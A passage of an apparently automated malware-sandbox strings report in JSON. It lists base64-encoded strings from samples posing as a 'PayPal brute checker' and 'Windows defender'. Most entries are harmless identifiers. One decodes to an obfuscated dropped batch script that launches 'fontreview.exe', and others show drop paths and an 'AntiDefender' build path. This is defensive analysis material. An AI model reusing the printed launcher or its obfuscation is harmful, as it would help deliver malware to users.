File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"$63","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QkheKiolK35J","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"QmkzdiIhcjxLXA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"YklkUmVzb3VyY2VTdHJpbmdzQ29yZQ==","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QmlnIEVuZGlhbiBVbmljb2Rl","type":"Unicode","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QmluYXJ5IEdVSUQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QmluYXJ5IHN0cmVhbQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QmluYXJ5RXhwcmVzc2lvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QmluYXJ5R1VJRA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QklOQVJZTEVO","type":"Unicode","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QklOQVJZTUlE","type":"Unicode","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QmluYXJ5UmVhZGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QmluYXJ5U2VhcmNo","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QmluYXJ5V3JpdGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QmluZGluZ0RpcmVjdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QmluZGluZ0ZsYWdz","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YkluZGlyZWN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QmluZFRvTmFtZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QmluZFRvT2JqZWN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QmluZFRvU3RvcmFnZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QmluZFRvVHlwZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QmluT3BNYXNr","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YmlTeXN0ZW1NZW51","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YmlTeXN0ZW1NZW51YmlNaW5pbWl6ZQ==","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Qml0Q29udmVydGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Qml0bWFwRGF0YQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QmxvY2tBbGlnbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QmxvY2tDb3B5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QmxvY2tFeHByZXNzaW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QkxPQ0tJTlBVVA==","type":"Unicode","source":"Dropped File","process":null,"filename":"PayPal brute_checker.exe.2422335050","compromised":null,"detection_total":null,"total":null},{"value":"QmxvY2tJbnB1dA==","type":"Ansi","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Ym54IDZgIX5Wdm4=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"Qm9vdHN0cmFwTW9kZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Qk9SREVSU01BU0s=","type":"Unicode","source":"Dropped File","process":null,"filename":"PayPal.exe.597571784","compromised":null,"detection_total":null,"total":null},{"value":"Qm9yZGVyU3R5bGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Qm9WdEdhKVE7","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"YlBvc2l0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QnJlYWtwb2ludFR5cGVz","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YnJpZGdlQWRhcHRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QnJpZGdlQWxnbw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QnJpZGdlQ29uZmlnUXVldWU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QnJpZGdlR2xvYmFsYDI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QnJpZGdlR2xvYmFsU3R1Yg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YnJpZGdlTWFwcGluZw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YnJpZGdlUGFyYW1ldGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YnJpZGdlUG9saWN5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YnJpZGdlUHJvcGVydHk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YnJpZGdlUmVxdWVzdA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QnJpZGdlU2NoZW1hQ2xhc3M=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QnJpZGdlU2VydmljZUxpY2Vuc2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QnJpZGdlU3BlY2lmaWNhdGlvbkxpc3RlbmVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QnJpZGdlU3R1YlN0cnVjdEJ1aWxkZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QnJpZGdlVG9rZW4=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YnJpZGdlV29ya2Vy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QnJvJndzZS4uLg==","type":"Unicode","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001DB000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YnJvYWRjYXN0ZXJCYXNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QnJvYWRjYXN0ZXJDb25maWdRdWV1ZWAx","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QnJvYWRjYXN0ZXJEZWZpbml0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YnJvYWRjYXN0ZXJGYWNhZGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QnJvYWRjYXN0ZXJHbG9iYWxTdHVi","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YnJvYWRjYXN0ZXJQYXJhbWV0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YnJvYWRjYXN0ZXJQb2xpY3k=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YnJvYWRjYXN0ZXJQcm9wZXJ0eQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QnJvYWRjYXN0ZXJSZXBvbnNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QnJvYWRjYXN0ZXJTZXJ2aWNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QnJvYWRjYXN0ZXJTZXJ2aWNlTGljZW5zZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QnJvYWRjYXN0ZXJTcGVjaWZpY2F0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YnJvYWRjYXN0ZXJTdHVi","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QnJvYWRjYXN0ZXJTdHViU3RydWN0QnVpbGRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QnJvYWRjYXN0ZXJUYWc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YnJvYWRjYXN0ZXJUZXN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YnJvYWRjYXN0ZXJUaHJlYWQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YnJvd2NsaS5kbGw=","type":"Unicode","source":"Hybrid Analysis","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.00181000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QnJvd3NhYmxlQXR0cmlidXRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QnJvd3NlSW5QbGFjZQ==","type":"Unicode","source":"Runtime Data","process":"PayPalBrute_Checker.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QlJPV1NFUl9GT1JXQVJE","type":"Unicode","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QlJPV1NFUl9TVE9Q","type":"Unicode","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YnMtYmEtbGF0bg==","type":"Unicode","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QlNPTiByZWFkaW5nIGFuZCB3cml0aW5nIGhhcyBiZWVuIG1vdmVkIHRvIGl0cyBvd24gcGFja2FnZS4gU2VlIGh0dHBzOi8vd3d3Lm51Z2V0Lm9yZy9wYWNrYWdlcy9OZXd0b25zb2Z0Lkpzb24uQnNvbiBmb3IgbW9yZSBkZXRhaWxzLg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YnNwcm90LmRsbA==","type":"Unicode","source":"Runtime Data","process":"90cc6e447d345bb1f103751ab038bbce19190db6.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QlNSX0FOWUNSTEYp","type":"Ansi","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QlNSX1VOSUNPREUp","type":"Ansi","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YlRLXnhPUWBCJw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"YnVmZmVySW5mb3M=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YnVmZmVyb2Zmc2V0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YnVmZmVyU2l6ZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QnVpbGRSZXF1ZXN0RW50cnlTdGF0ZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QnVzeSBUaW1lb3V0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QnVzeVRpbWVvdXQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QnV0dG9uQmFzZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YlZjbC5FeHREbGdz","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YlZjbC5QcmludGVycw==","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Ynl0ZUFycmF5cw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Qnl0ZUJ1ZmZlckNvdW50","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Ynl0ZUNvdW50","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Ynl0ZUluZGV4","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YyB0aHJlYWQgZ3VhcmQn","type":"Ansi","source":"Runtime Data","process":"PayPalBrute_Checker.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YyVjMTgxMiVvJWV6aXUlcCVpbG9sY2RtJXkleDMwMTQlIFMlanNreWthbyV5JWFjaGFvd2lnJXMleGtkcyV0JXhwY2pkenp1byVlJWhid25oJW0lbTQyNzUlLiVrcGdrJWwlcmFjJW4lb3JhJWslb3J3Z3MlICVvYWlveGdhaXlqbXplZiUiJVVTRVJQUk9GSUxFJVwldGFzeWR5YiVBJWF0emxoZWwlcCVocmduZWtnJXAlcDE3NDAlRCViYWdtayVhJXNoZWdxbGFzZCV0JWxzZW5mZ2JyJWElYXVkJVwlZDI5MzklUiVjd3klbyVudXZqdXFsJWElYXpkaCVtJWxvdw==","type":"Ansi","source":"Runtime Data","process":"90cc6e447d345bb1f103751ab038bbce19190db6.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YyVjMTgxMiVvJWV6aXUlcCVpbG9sY2RtJXkleDMwMTQlIFMlanNreWthbyV5JWFjaGFvd2lnJXMleGtkcyV0JXhwY2pkenp1byVlJWhid25oJW0lbTQyNzUlLiVrcGdrJWwlcmFjJW4lb3JhJWslb3J3Z3MlICVvYWlveGdhaXlqbXplZiUiJVVTRVJQUk9GSUxFJVwldGFzeWR5YiVBJWF0emxoZWwlcCVocmduZWtnJXAlcDE3NDAlRCViYWdtayVhJXNoZWdxbGFzZCV0JWxzZW5mZ2JyJWElYXVkJVwlZDI5MzklUiVjd3klbyVudXZqdXFsJWElYXpkaCVtJWxvd3QlaSVmZ2UlbiVvZWd5c3BuJWclcWhlZyVcJWRzcXp6JU0lYWtzYnVkcSVpJWVmYSVjJWJtcmolciVhd3p0ZSVvJW51enAlcyV5bmJ2enRyb2olbyVsYWhydXRhJWYlbGx4bHEldCVnd3NtdnluaSVcJXczMDkyJVclbHJhaGl0ZmFwJWklanhqaiVuJXVuY3clZCVvZWtlJW8lam9ienhpJXclemZraW9ydiVzJWV6eCVcJW5zemh2ZXAlUyV6Z3AldCVnendhJWElYW53cHBxZm4lciVobWh4ayV0JXQ3OTkyJSAlcmF4ZW4lTSVraHAlZSVwd3VyZmJvcCVuJXZkdm1sd2EldSVrdmlhYSVcJW9ranVrY3VjZSVQJWJpaiVyJXhkcWdidXAlbyVmb2hndSVnJWhwZ2Zoa28lciVzaGUlYSVyNzgwMiVtJXlreCVzJXB5YyVcJXpkcCVTJWF1ZHFlciV0JXFsbnp2YmJqJWEld2t5aHJ1cmhjJXIlaWJteGV2JXQlanVmdnB2aSV1JWVjYiVwJXVoemFnanByJVwlYTY4MDMlIiVhY2h1dGUlICYgc3RhcnQgQzovTWVkaWEvZm9udHJldmlldy5leGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"zVzv5CCsXa33WA0xKgGdsJR1M6LeDN.bat","compromised":null,"detection_total":null,"total":null},{"value":"QzEpYiYoOm5oZmo=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"QzMzMzMzODMzPzMz","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QzN7MSxIbSk=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"QzRDMzEyRTJGQzVCREZCNTlDNUMwNDhCQ0I1NjhENkRENkQ0NDIyMA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YzhbImtPeyZP","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"QzovTWVkaWEv","type":"Unicode","source":"Hybrid Analysis","process":"90cc6e447d345bb1f103751ab038bbce19190db6.exe","filename":"00100415-00002736.00000001.100768.00AF1000.00000040.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QzovTWVkaWEvZm9udHJldmlldy5leGU=","type":"Ansi","source":"Process Commandline","process":null,"filename":"fontreview.exe","compromised":null,"detection_total":null,"total":null},{"value":"QzpcUGF5UGFsQnJ1dGVfQ2hlY2tlci5leGU=","type":"Ansi","source":"Hybrid Analysis","process":"PayPalBrute_Checker.exe","filename":"00099061-00003552.00000001.99416.00401000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JVRFTVAlXA==","type":"Ansi","source":"Hybrid Analysis","process":"PayPalBrute_Checker.exe","filename":"00099061-00003552.00000001.99416.00401000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JVRFTVAlXG5zdUE2RjAudG1w","type":"Ansi","source":"Hybrid Analysis","process":"PayPalBrute_Checker.exe","filename":"00099061-00003552.00000000.99381.00401000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JVRFTVAlXG5zdUE2RjAudG1wXA==","type":"Ansi","source":"Hybrid Analysis","process":"PayPalBrute_Checker.exe","filename":"00099061-00003552.00000001.99416.00401000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JVRFTVAlXG5zdUE2RjAudG1wXCouKg==","type":"Ansi","source":"Hybrid Analysis","process":"PayPalBrute_Checker.exe","filename":"00099061-00003552.00000001.99416.00401000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JVVTRVJQUk9GSUxFJVxBcHBEYXRhXFJvYW1pbmc=","type":"Ansi","source":"Memory/File Scan","process":"PayPalBrute_Checker.exe","filename":"00099061-00003552.00000001.99416.00409000.00000004.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JUFQUERBVEElXDEzMzc=","type":"Ansi","source":"Hybrid Analysis","process":"PayPalBrute_Checker.exe","filename":"00099061-00003552.00000001.99416.00401000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JUFQUERBVEElXDEzMzdcUGF5UGFsIGJydXRlJmNoZWNrZXIuZXhl","type":"Ansi","source":"Memory/File Scan","process":"PayPalBrute_Checker.exe","filename":"00099061-00003552.00000001.99416.00409000.00000004.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JUFQUERBVEElXDEzMzdcUGF5UGFsLnNjcg==","type":"Unicode","source":"Hybrid Analysis","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.00181000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JVVTRVJQUk9GSUxFJVxzb3VyY2VccmVwb3NcQW50aURlZmVuZGVyXEFudGlEZWZlbmRlclxvYmpcRGVidWdcQW50aURlZmVuZGVyLnBkYg==","type":"Ansi","source":"Memory/File Scan","process":"Windows defender.exe","filename":"00100753-00001696.00000000.100904.00842000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JVVTRVJQUk9GSUxFJVxzb3VyY2VccmVwb3Ncd2F0Y2hkb2dcd2F0Y2hkb2dcb2JqXERlYnVnXHdhdGNoZG9nLnBkYg==","type":"Ansi","source":"Dropped File","process":null,"filename":"dasHost.exe.2647022759","compromised":null,"detection_total":null,"total":null},{"value":"JVVTRVJQUk9GSUxFJVxEb3dubG9hZC8=","type":"Unicode","source":"Hybrid Analysis","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.00181000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JVVTRVJQUk9GSUxFJVxEb3dubG9hZFw5MGNjNmU0NDdkMzQ1YmIxZjEwMzc1MWFiMDM4YmJjZTE5MTkwZGI2LmV4ZQ==","type":"Unicode","source":"Hybrid Analysis","process":"90cc6e447d345bb1f103751ab038bbce19190db6.exe","filename":"00100415-00002736.00000001.100768.00AF1000.00000040.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q11dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1d","type":"Ansi","source":"Dropped File","process":null,"filename":"PayPal brute_checker.exe.2422335050","compromised":null,"detection_total":null,"total":null},{"value":"Q19dYWBhXV1hY11hXWFdYV1hYGFcYVxhXGFj","type":"Ansi","source":"Dropped File","process":null,"filename":"PayPal brute_checker.exe.2422335050","compromised":null,"detection_total":null,"total":null},{"value":"Y19jb3VudGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Y2FiaW5ldC5kbGw=","type":"Unicode","source":"Hybrid Analysis","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.00181000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q2FjaGUgU2l6ZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FjaGVBbGxDb21wYXJ0bWVudHM=","type":"Unicode","source":"Runtime Data","process":"fontreview.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2FjaGVBdHRyaXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FjaGVHZXRPcHRpb25z","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FjaGVMb2NhdGlvbg==","type":"Unicode","source":"Runtime Data","process":"Windows defender.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0FkYXB0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0Fkdmlzb3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0Fubm90YXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Y2FsY2F0dHIy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0F0dHJpYnV0ZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0F1dGhlbnRpY2F0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0Jyb2FkY2FzdGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0NhbGxiYWNr","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0NhbmRpZGF0ZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0NsaWVudA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0NvbGxlY3Rpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0NvbXBhcmF0b3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0NvbXBvc2Vy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0NvbmZpZw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0NvbmZpZ3VyYXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Y2FsY2Nvbm5lY3Rpb24=","type":"Ansi","source":"Dropped 